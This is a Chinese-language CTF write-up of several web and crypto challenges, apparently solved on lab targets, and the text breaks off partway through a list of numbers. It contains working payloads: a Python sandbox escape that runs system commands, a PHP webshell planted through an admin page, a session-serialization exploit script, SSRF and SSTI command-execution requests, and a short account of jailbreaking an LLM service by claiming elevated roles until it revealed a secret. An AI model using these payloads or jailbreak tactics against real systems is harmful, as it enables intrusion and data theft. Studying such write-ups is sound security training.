0x01 说在前面
打着玩,反正当不了先锋
0x02 question
签到
签到直接交就可以了
givemesecret
进来发现是TornadoServer/6.4.1
OK试试注入

然后中途stop,别看着只有一张图我可是锻炼了一早上呜呜呜
写写历程吧
从我要当主人-》我是工程师-》我是测试工程师,权限最高-》命令执行RCE,echo `whoami`-》问secret-》问flag,一直问,终于成功了
PyBlockly
有代码的先看代码
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json
app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
def module_exists(module_name):
spec = importlib.util.find_spec(module_name)
if spec is None:
return False
if module_name in sys.builtin_module_names:
return True
if spec.origin:
std_lib_path = os.path.dirname(os.__file__)
if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False
def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True
def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False
def block_to_python(block):
block_type = block['type']
code = ''
if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"
elif block_type == 'math_number':
if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"
elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"
if 'next' in block:
block = block['next']['block']
code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code
def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]
python_code = ""
python_code += block_to_python(block) + "\n"
return python_code
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"
@app.route('/')
def index():
return app.send_static_file('index.html')
@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})
if __name__ == '__main__':
app.run(host = '0.0.0.0')
首先一进来这个黑名单过滤了很多符号(所有),除了空格大小写字母数字
def module_exists(module_name):
spec = importlib.util.find_spec(module_name)
if spec is None:
return False
if module_name in sys.builtin_module_names:
return True
if spec.origin:
std_lib_path = os.path.dirname(os.__file__)
if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False
判断函数是否为内置模块,如果为自定义模块则返回False
def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True
判断是否有导入语句,AST为一个标准库
然后就是两个来进行代码处理的函数,重点是这里

进行了代码的执行,其中我们绕过关键词即可,现在的问题就是插入恶意代码以及绕过了
现在我们知道发包的格式类似于这种
{
"blocks": {
"languageVersion": 0,
"blocks": [
{
"type": "print",
"id": "1",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"id": "2",
"fields": {
"TEXT": "Hello, World!"
}
}
}
}
}
]
}
}
但是读取文件这里又卡住了,这里不让有的关键词如何绕过,还有就是文件读取命令使用什么
后面查看自己的CTFshow之前的记录发现可以使用半角符号来绕过关键词,读取命令用这个
root@dkcjbRCL8kgaNGz:~# dd if=/flag
flag{I_love_Yo3}
0+1 records in
0+1 records out
17 bytes copied, 3.9533e-05 s, 430 kB/s
但是后面发现这个payload我这么写都写不好,八进制绕过给我爆500,然后上网搜索有没有内置的读取文件的Flask中内置的读取文件方法
找到get_data方法
转半角脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="1"
for i in s:
t+=half2full(i)
print(t)
{
"blocks": {
"blocks": [
{
"type": "print",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"fields": {
"TEXT": "123‘,getattr("".__class__.__bases__.__getitem__(0).__subclasses__()[121], "get_data")(1, "/etc/passwd"),’"
}
}
}
}
}
]
}
}
{
"blocks": {
"blocks": [
{
"type": "print",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"fields": {
"TEXT": "123‘,getattr("".__class__.__bases__.__getitem__(0).__subclasses__()[121], "get_data")(1, "/proc/1/environ"),’"
}
}
}
}
}
]
}
}
还是搞不到,难道还是要命令执行才可以吗
题目中说了len不能超过4,这里直接重写len
POST /blockly_json HTTP/1.1
Host: eci-2zefm3fmppqf7kdz1ghu.cloudeci1.ichunqiu.com:5000
Content-Length: 317
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Origin: http://eci-2zefm3fmppqf7kdz1ghu.cloudeci1.ichunqiu.com:5000
Referer: http://eci-2zefm3fmppqf7kdz1ghu.cloudeci1.ichunqiu.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1728270163,1728484327,1728520102,1728911088
Connection: close
{"blocks":{"languageVersion":0,"blocks":[{"type":"text","id":"Yl.b$Wv5$31H:nQG/2fi","x":0,"y":181,"fields":{"TEXT":"‘;__import__(”builtins”)。len=lambda a:4;’‘;__import__(”os”)。system(”$(printf ‘dd if=/flag’); ”);’"}}]}}
xiaohuanxiong
V5.1.35 LTS { 十年磨一剑-为API开发设计的高性能框架 }
是一个tp,进来之后先安装,然后等待一会儿,管他的先扫吧
[10:09:00] 200 - 1KB - /admin/login
[10:09:00] 200 - 1KB - /admin/login.html
[10:09:00] 200 - 1KB - /Admin/login/
[10:14:20] 200 - 1KB - /login
[10:14:21] 200 - 1KB - /login.html
[10:14:22] 200 - 1KB - /login/
[10:14:22] 200 - 1KB - /login/admin/
[10:14:23] 200 - 1KB - /login/admin/admin.asp
[10:14:23] 200 - 1KB - /login/administrator/
[10:14:23] 200 - 1KB - /login/cpanel.php
[10:14:23] 200 - 1KB - /login/cpanel.aspx
[10:14:23] 200 - 1KB - /login/cpanel.html
[10:14:23] 200 - 1KB - /login/cpanel.jsp
[10:14:23] 200 - 1KB - /login/cpanel.js
[10:14:23] 200 - 1KB - /login/cpanel/
[10:14:23] 200 - 1KB - /login/index
[10:14:23] 200 - 1KB - /login/login
[10:14:23] 200 - 1KB - /login/oauth/
[10:14:23] 200 - 1KB - /login/super
[10:14:29] 200 - 899B - /logout
[10:14:29] 200 - 899B - /logout.html
[10:14:29] 200 - 899B - /logout/
[10:15:29] 200 - 1KB - /register
[10:15:29] 200 - 1KB - /register.html
[10:15:30] 200 - 24B - /robots.txt
[10:15:31] 200 - 2KB - /search
[10:15:31] 200 - 2KB - /search.php
[10:15:31] 200 - 2KB - /search.js
[10:15:31] 200 - 2KB - /search.html
[10:15:31] 200 - 2KB - /search.aspx
[10:15:31] 200 - 2KB - /search.jsp
[10:15:31] 200 - 2KB - /search_admin
[10:15:31] 200 - 2KB - /searchreplacedb2.php
[10:15:31] 200 - 2KB - /searchresults.aspx
[10:15:31] 200 - 2KB - /searchresults.html
[10:15:31] 200 - 2KB - /searchresults.php
[10:15:31] 200 - 2KB - /searchresults.js
[10:15:31] 200 - 2KB - /searchreplacedb2cli.php
[10:15:31] 200 - 2KB - /searchresults.jsp
扫的确实慢了点不过心急吃不了热豆腐,接着搞,发现admin/Admins,这里发现支付可以添加PHP代码
/admin/payment/index.html
直接添加一句话木马,但是我发现有个小细节就是必须加不能报错和引号,不然就无法使用,加完直接返回漫画主页就已经getshell了
难得就在于拿到admin/Admins这个路由,御剑是可以爆破出来的
platform
扫出来源码www.zip
拿到之后是一个PHP。我们慢慢看

看到这里之后发现直接就是在class.php,但是有session,可能有竞争?
后来想想这里不是有个空值嘛

经过测试发现怎么弄都会是56个字符
";session_key|s:20:"FIzIiMb901w1XCmMXvui";password|s:99:
";session_key|s:19:"kkTEOXdlrTsA7fOnDWI";password|s:106:
于是这里我们进行逃逸即可
print("passthru"*7)
然后再插入我们的session序列化poc
;session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("sys"."tem")($_GET[a]);";}password|s:2:"wi
当然这里如果是脚本的话肯定是要http头的
import requests
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'no-cache',
'Content-Type': 'application/x-www-form-urlencoded',
'Pragma': 'no-cache',
'Proxy-Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
}
params = {
'a': "/readflag"
}
data = {
'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("sys"."tem")($_GET[a]);";}password|s:2:"wi',
'username': 'passthrupassthrupassthrupassthrupassthrupassthrupassthru'
}
url = "http://eci-2zebwi4k2x5ugkdi45iw.cloudeci1.ichunqiu.com/"
while 1:
r = requests.session()
response1 = r.post(url+'/index.php', headers=headers, data=data, verify=False, allow_redirects=False)
response2 = r.post(url+'/index.php', headers=headers, data=data,verify=False, allow_redirects=False)
response3 = r.post(url + '/dashboard.php',params=params,headers=headers, verify=False, allow_redirects=False)
if "flag" in response3.text:
print(response3.text)
print(r.cookies)
break
else:
print(response3.text)
print(r.cookies)
r.close()
Proxy
有源码
package main
import (
"bytes"
"io"
"net/http"
"os/exec"
"github.com/gin-gonic/gin"
)
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
func main() {
r := gin.Default()
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}
c.Writer.Write(body)
c.Abort()
})
}
r.Run("127.0.0.1:8769")
}

得到发包格式

这里直接就可以拿到flag,那我们直接curl发包
root@dkcjbRCL8kgaNGz:~# curl -X POST http://47.94.231.2:30773/v2/api/proxy \
-H "Content-Type: application/json" \
-d '{
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST",
"body": "",
"headers": {},
"follow_redirects": false
}'
{"flag":"ZmxhZ3s1ZWRlMjYzYi0xZjAzLTRhNGYtYTUyMC1jNGM4ZjE3MzYyOWF9"}
然后解码即可
flag{5ede263b-1f03-4a4f-a520-c4c8f173629a}
snake
进来是个贪吃蛇,肯定是要通关才能够拿到flag,那么我们爆破爬取路由
拿到/snake_win

测出有sql注入漏洞,尝试注入之后没有结果
响应头也没说是什么web服务,测试了很久发现可以ssti

man,flag终于是要到我手里了嘛
http://eci-2ze762llzxw5o9w9mbw2.cloudeci1.ichunqiu.com:5000/snake_win?username=1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'tac /flag\').read()')}}"-- -
Master of OSINT
进来之后发现是个找图片
使用工具慢慢she出经纬度
https://api.map.baidu.com/lbsapi/getpoint/index.html
https://map.baidu.com/search/

看到有湖并且这里很平,打开地图,国内有湖的地方就这两个

挨着试找到是海南藏族自治州这里

百安居(这里注意要下载,不然看不到这个)

第三张图的话就很熟悉了,因为我在成都,这是双流机场

这里一个大卡车重汽(找物流公司)

这不是一模一样?

这一看就是重庆继续找找这个高架

简直了

还是高架,每个图都在高架上面基本是


这个好搞,橘子洲


这个我都不用看,长江大桥


ok终于是找完了,最后经过两年半的查找答案如下
一 99.974383,36.66725
二 121.567039,31.211279
三 103.966657,30.571185
四 120.293197,30.346334
五 106.524114,29.52509
六 118.783635,32.013335
七 112.969521,28.201853
八 121.734859,31.412815
九 114.412567,30.661017
十 120.308631,30.152785

EasyRSA
先进去拿参数
N=42904039314199895721696616855758464218776719155277644688156355421669731926586744657558904856662524664815001053906568694877941070734379088087661446033173083187445772619113110948584643982194462341444480231060053008290646295405517083378534377980681311369011669792894523149142258780642722178595904015146283411763379803572408919306199860289071979553687419537458952652653841956474558202437419097277523814620107550505762949933586019973892299407282425426574324269936979456148685237646197700304901043932950332167503114720687804083313706537708157799145007429182143131211123753832870983386421744654743615691456503687433253700707
e=65537
g=2467289273249224073499308128504701193779913828213444430435151093961964204649293591016042690390824880024231535639632722916163130665022776513946276332507
enc=12709693287264155874588327905007095658924584817796376099734882542910731460825766770672115564368497141711860077407627137628906166192867282903038794375385103923117937259213778979889844254053587067543343272153487237062941786040827781296627252935285712565966813858306852382594194367821015639439066528157046594978868346586874763813295540162505405425455235498583512373062022633584465000726414162171619788788030500551923136766813781433302278483256483999391289749744953431408447702944986393707616176873212339507135665819552507676368414131287311936039623896380645989109820457591105147343119080909601863364535862069112518457752
这靶机我之前一直没看到我丢,然后就不用管靶机了,其次不要关靶机,我关了靶机导致一直跑不出来
#encoding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2
class RSAEncryptor:
def __init__(self):
self.g = self.a = self.b = 0
self.e = 65537
self.factorGen()
self.product()
def factorGen(self):
while True:
self.g = getPrime(500)
while not gmpy2.is_prime(2*self.g*self.a+1):
self.a = random.randint(2**523, 2**524)
while not gmpy2.is_prime(2*self.g*self.b+1):
self.b = random.randint(2**523, 2**524)
self.h = 2*self.g*self.a*self.b+self.a+self.b
if gmpy2.is_prime(self.h):
self.N = 2*self.h*self.g+1
print(len(bin(self.N)))
return
def encrypt(self, msg):
return gmpy2.powmod(msg, self.e, self.N)
def product(self):
with open('/flag', 'rb') as f:
self.flag = f.read()
# Convert flag to an integer before encryption
flag_int = bytes_to_long(self.flag)
self.enc = self.encrypt(flag_int)
self.show()
print(f'enc={self.enc}')
def show(self):
print(f"N={self.N}")
print(f"e={self.e}")
print(f"g={self.g}")
RSAEncryptor()
- 生成素数和模数 (
N):self.g是一个500位的素数。self.a和self.b是随机生成的数,它们使得2*self.g*self.a+1和2*self.g*self.b+1是素数。self.h是2*self.g*self.a*self.b+self.a+self.b,且self.h也是素数。N被计算为2*self.h*self.g+1。
- 加密过程:
- 使用公钥
(N, e),其中e是常用的65537。 - 消息用
gmpy2.powmod(msg, e, N)进行加密。
- 使用公钥
- 解密的挑战:
- 通常,RSA解密需要私钥
(d),它通过求解ed ≡ 1 (mod φ(N))获得。这里φ(N)是欧拉函数,通常是(p-1)(q-1),p和q是N的两个素数因子。
- 通常,RSA解密需要私钥
解密的话我们
- 模数分解 (Factorization):
- 目标是将大整数模数 NN 分解为两个素数乘积 pp 和 qq。在此方案中,利用已知的结构 p=2ga+1p=2g**a+1 和 q=2gb+1q=2g**b+1 进行推导。
- 中国剩余定理 (Chinese Remainder Theorem, CRT):
- 使用求解
u和v的过程,间接利用了模数分解的结构特性,通过推导近似根来简化计算过程。
- 使用求解
- 指数求逆 (Modular Inversion):
- 计算私钥指数 dd 的过程利用了模逆运算。具体来说,通过求解 d≡e−1(modϕ(N))d≡e−1(modϕ(N)),其中 ϕ(N)=(p−1)(q−1)ϕ(N)=(p−1)(q−1)。
- 密文解密 (Ciphertext Decryption):
- 使用模幂运算实现解密,即 m=Cd(modN)m=C**d(modN)。
- 平方根逼近 (Root Approximation):
- 通过
iroot函数计算平方根,利用近似和迭代方法逼近解。
- 通过
- 数论攻击 (Number Theory Attack):
- 整个解密方案可以视为基于数论特性的攻击,通过已知因子关系和结构性弱点来恢复加密密钥。
最后写个脚本,此时一定要注意,把r和s写大一点节省时间不然靶机都没了可能还是跑不出来
#encoding:utf-8
from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import mpz, iroot, powmod, invert
# N = pq 2050bit; p 1025 bit; q 1025 bit
N=mpz("36485011506081204249353320553950613538202089151659637848115802055074144483670941532556535766902145921973594997027479624905209949691271762025427477743585502482131332590436695347051791231697483166685773359997599962390951389807897889989842749391578113929807413080535375105955893148740093617956725535911664750114893144869800480780770094530308687537645720410428791977178530996923717038507261474355948618508166751918076068001409953063336528028033025761084181080126504217426369672569710112079242859636376145175734678264411553576130988579634184334371125938410224579198183934903162942790258446634362761502507649065084540399627")
# g 500bit; is p-1 and q-1 prime factor
# p = 2*g*a + 1; q = 2*g*b + 1
g=mpz("2247113742037388549126827263530967729647876171160434451719365936820171519384453150516592428020693798355300913115889019295485975565435074105418185872653")
e = 65537
C=mpz("8723174185243286745778722165394947826680341325024406927179799187651216273269550886122199189840469819205011474538291123038948795537734295353538048662643560558613222940652432465387821767869659987332731872376334835470075829738040916495874122194399361612840158429781298635579378738659475708516663189740417547967046498681970164226439603650301067936899183776866269511992054665324683444422921359125980570625643493195848148074925368422310976126635090617900612294394294526142884055556163913650939907516297466755311082324437407938032687938659279120158022331434516948954703962993479193049714934370005556711772066538439821538739")
# Calculate h, u, and v
h = (N - 1) // g
u = h // g
v = h % g
def Solve_c():
# Calculate approximate square root of N
sqrt_N = iroot(mpz(N), 2)[0]
C_approx = sqrt_N // (g * g) # 确保结果为整数
a = 2
b = powmod(a, g, N)
# Loop over possible values of C
for i in range(2, int(C_approx) + 1): # 使用 int() 将 C_approx 转换为整数
D = (iroot(C_approx, 2)[0] + 1) * i
final = powmod(b, u, N)
for r in range(5100,int(D)):
print(f"Checking r*D for i={i}: {r * D}")
for s in range(4000,int(D)):
if powmod(b, r * D + s, N) == final:
print("Solution found: r =", r, "s =", s, "i =", i)
return r * D + s
# Get the value of c
c = Solve_c()
print("c:", c) # Expected output: c = 51589121
# Calculate A and B for quadratic equation
A = u - c # x * y = u - c
B = v + c * g # x + y = v + c * g
# Calculate the values of x and y using the quadratic formula
delta = iroot(B * B - 4 * A, 2)[0]
x = (B + delta) // 2
y = (B - delta) // 2
a = x // 2
b = y // 2
# Calculate p and q
p = 2 * g * a + 1
q = 2 * g * b + 1
# Calculate private key exponent d
d = invert(e, (p - 1) * (q - 1))
# Decrypt the ciphertext
m = powmod(C, d, N)
print("Decrypted message:", long_to_bytes(m))
apbq
[+] Welcome to my apbq game
┃ stage 1: p + q
┃ hints = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
┃ public key = (89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589, 65537)
┃ enc1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
----------------------
┃ stage 2: ai*p + bi*q
┃ hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567, 22620929075309280405649238349357640303875210864208854217420509497788451366132889431240039164552611575528102978024292550959541449720371571757925105918051653777519219003404406299551822163574899163183356787743543, 20448555271367430173134759139565874060609709363893002188062221232670423900235907879442989619050874172750997684986786991784813276571714171675161047891339083833557999542955021257408958367084435326315450518847393, 16581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730, 23279853842002415904374433039119754653403309015190065311714877060259027498282160545851169991611095505190810819508498176947439317796919177899445232931519714386295909988604042659419915482267542524373950892662544, 16542280976863346138933938786694562410542429842169310231909671810291444369775133082891329676227328401108505520149711555594236523078258701726652736438397249153484528439336008442771240980575141952222517324476607, 17054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973, 22115728663051324710538517987151446287208882441569930705944807337542411196476967586630373946539021184108542887796299661200933395031919501574357288914028686562763621166172668808524981253976089963176915686295217, 19324745002425971121820837859939938858204545496254632010818159347041222757835937867307372949986924646040179923481350854019113237172710522847771842257888083088958980783122775860443475680302294211764812636993025, 17269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492, 17365467616785968410717969747207581822018195905573214322728668902230086291926193228235744513285718494565736538060677324971757810325341657627830082292794517994668597521842723473167615388674219621483061095351780, 20823988964903136690545608569993429386847299285019716840662662829134516039366335014168034963190410379384987535117127797097185441870894097973310130525700344822429616024795354496158261293140438037100429185280939, 19068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459, 20089639597210347757891251257684515181178224404350699015820324544431016085980542703447257134320668961280907495580251880177990935443438799776252979843969984270461013888122703933975001704404129130156833542263882, 22344734326131457204500487243249860924828673944521980798994250859372628295695660076289343998351448667548250129358262592043131205967592613289260998148991388190917863322690137458448696392344738292233285437662495, 22688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538, 21286046487289796335501643195437352334100195831127922478044197411293510360710188581314023052580692810484251118253550837525637065385439859631494533102244585493243972819369812352385425700028640641292410326514111, 21542729548465815605357067072323013570796657575603676418485975214641398139843537820643982914302122976789859817102498484496409546012119998359943274203338400776158986205776474024356567247508744784200354385060666, 22319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160, 25195209191944761648246874631038407055240893204894145709996399690807569652160721616011712739214434932639646688187304865397816188999592774874989401871300784534538762135830014255425391132306536883804201055992313, 18257804244956449160916107602212089869395886846990320452133193087611626919926796845263727422042179229606817439442521540784268169177331707314788427670112999551683927934427716554137597798283300120796277229509678, 20293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953, 15967654820584966012628708475666706277218484919923639492431538068059543232562431059752700377242326527417238151501168940191488179144049286512652111172149113549072003881460743035279388672984805823560897688895124, 25144187979876039024245879200325843092774389926620026124061775431569974232758799200333888039013494603721065709195353330350750055309315207499741437181094874894647736904055829877859906318073991986020178158776286, 15736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130, 18831072673439732764722762485733622234889447953507582396819704359771208236721692820362137219509611319088756045211407777880521726782697895768017460064889670066178710804124631128581556314122255564861269062385337, 23800437561684813552661749774840752013501533683948618798811470214669024646396165487093720960221009038817909066075238937189371227098032581450466402462014437421254375846263830927945343485988463525070074913720710, 24402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670, 20215481513831963554421686543560596857659844027486522940060791775984622049024173363533378455076109165728144576719015392033536498353094895564917644840994662704362121549525329105205514332808950206092190939931448, 18384453917605955747212560280232547481041600196031285084598132475801990710125754705645482436436531608696373462641765399622296314590071558616193035939108523357020287896879479452040171765916716377102454266933226, 21890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218, 18379893441293694747570620009241814202936873442370354246029979042247705730610190888710981918183390028386451290137755339890329474403224043675724851314770861939082447728194632548864823398818221526652331319263027, 18715827130228986951360013590464775001019026913384718876134449689773600060962392738619405370033085704046027397895627933844824630723286144367800484157574548819065406118338665931032779491897783504790669824301288, 13588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259, 18506039912943821193373920483847347155611306173368341979655092778147169768984477236224526786441466933360500418090210912574990962709452725122792963919616633389125605160796446674502416801964271004625701238202575, 22167985517547342184812919437069844889650448522260359154086923601900060998572245598167213217022051141570075284051615276464952346620430587694188548679895095556459804921016744713098882496174497693878187665372865, 21507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220, 20250321586608105267884665929443511322540360475552916143405651419034772061789298150974629817817611591100450468070842373341756704300393352252725859102426665187194754280129749402796746118608937061141768301995522, 16104259151024766025645778755951638093681273234415510444173981198301666343334808614748361662637508091511498829253677167171091582942780017355912433497214576425697459483727777273045993446283721290714044600814203, 14560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068, 16239347596615402699390026749150381714807445218767496868569282767673828662340774349530405347667558555781433774705139593469838946201218537641296949822639509296966092138954685186059819628696340121356660166937131, 21344472317634795288252811327141546596291633424850284492351783921599290478005814133560171828086405152298309169077585647189366292823613547973428250604674234857289341613448177246451956695700417432794886277704716, 16053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679, 18917855883623050190154989683327838135081813638430345099892537186954876489710857473326920009412778140451855952622686635694323466827034373114657023892484639238914593012175120540210780102536003758794571846502397, 22690171278715056779052233972642657173540399024770527983659216197108042021644328773010698851143953503599329885607621773816718008861742027388432534850163666629476315340137626681994316866368449548292328156728206, 21087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797, 18439753470094841291394543396785250736332596497190578058698960152415339036714664835925822942784700917586270640813663002161425694392259981974491535370706560550540525510875465091384383255081297963169390777475352, 20105719699015744146039374208926740159952318391171137544887868739518535254000803811729763681262304539724253518465850883904308979964535242371235415049403280585133993732946919550180260852767289669076362115454200, 17251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899, 23027331991437585896233907022469624030630702237261170259290872847355304456043379238362120518409085840638396736666056992747627271193089116095167049248270541979716594671069985183070290375121270398623215587207529, 18158149685496169798299129683009221264185608469410295069411669832919646968324946121757411511373498747604679198739125835462814352243797919744572086307939585501566092705355693015625009717017077302201663788208609, 18276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348, 19830654702835464289082520892939657653574451119898587213320188332842291005863699764597454403874285715252681820027919359194554863299385911740908952649966617784376852963552276558475217168696695867402522508290055, 15349828226638644963106414986240676364822261975534684137183044733508521003843559094515387144949811552173241406076270015291925943459603622043168219534080772937297911323165839870364550841685270125556125756627553, 20923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013, 